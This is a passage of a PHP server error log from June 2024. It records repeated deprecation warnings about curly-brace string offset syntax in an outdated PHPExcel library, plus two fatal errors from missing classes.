access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3934 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3935 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3999 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4065 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4068 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4450 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4601 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4603 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 6889 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 6892 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7297 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7300 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7303 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [21-Jun-2024 09:34:42 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [21-Jun-2024 09:34:42 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [21-Jun-2024 09:34:42 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [21-Jun-2024 09:34:42 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [21-Jun-2024 09:34:42 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [21-Jun-2024 09:34:42 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [21-Jun-2024 09:34:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [21-Jun-2024 09:34:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [21-Jun-2024 09:34:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [21-Jun-2024 09:34:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [21-Jun-2024 09:34:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [21-Jun-2024 09:34:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [21-Jun-2024 09:35:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [21-Jun-2024 09:35:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [21-Jun-2024 09:35:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [21-Jun-2024 09:35:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [21-Jun-2024 09:35:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [21-Jun-2024 09:35:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [22-Jun-2024 00:42:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 164 [22-Jun-2024 00:42:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 252 [22-Jun-2024 00:42:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 266 [22-Jun-2024 00:42:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 296 [22-Jun-2024 00:42:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 330 [22-Jun-2024 00:42:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 339 [22-Jun-2024 00:42:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 369 [22-Jun-2024 00:42:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 387 [22-Jun-2024 00:42:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 436 [22-Jun-2024 00:42:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [22-Jun-2024 00:42:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [22-Jun-2024 00:42:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [22-Jun-2024 00:42:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [22-Jun-2024 00:42:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [22-Jun-2024 00:42:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [25-Jun-2024 07:37:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel2003XML.php on line 692 [25-Jun-2024 07:37:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel2003XML.php on line 701 [25-Jun-2024 07:37:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-Jun-2024 07:37:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-Jun-2024 07:37:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-Jun-2024 07:37:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-Jun-2024 07:37:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-Jun-2024 07:37:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 1928 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 1991 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2128 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2153 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2163 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2181 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2194 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2198 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2278 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2549 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2614 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2630 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2808 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2891 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2958 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2980 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3886 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3921 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3922 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3923 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3926 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3927 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3928 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3929 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3932 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3933 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3934 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3935 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3999 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4065 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4068 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4450 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4601 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4603 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 6889 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 6892 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7297 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7300 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7303 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-Jun-2024 07:38:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [25-Jun-2024 07:38:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-Jun-2024 07:38:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-Jun-2024 07:38:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-Jun-2024 07:38:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-Jun-2024 07:38:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-Jun-2024 07:38:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [25-Jun-2024 10:28:04 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Reader_IReader' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php on line 28 [25-Jun-2024 10:28:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-Jun-2024 10:28:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-Jun-2024 10:28:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-Jun-2024 10:28:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-Jun-2024 10:28:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-Jun-2024 10:28:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [25-Jun-2024 10:29:11 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-Jun-2024 10:29:11 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-Jun-2024 10:29:11 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-Jun-2024 10:29:11 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-Jun-2024 10:29:11 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-Jun-2024 10:29:11 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [25-Jun-2024 10:29:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-Jun-2024 10:29:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-Jun-2024 10:29:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-Jun-2024 10:29:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-Jun-2024 10:29:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-Jun-2024 10:29:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [25-Jun-2024 10:32:02 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php on line 28 [25-Jun-2024 10:32:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-Jun-2024 10:32:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-Jun-2024 10:32:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-Jun-2024 10:32:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-Jun-2024 10:32:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-Jun-2024 10:32:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [25-Jun-2024 10:37:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-Jun-2024 10:37:37 UTC] PHP Deprecated: 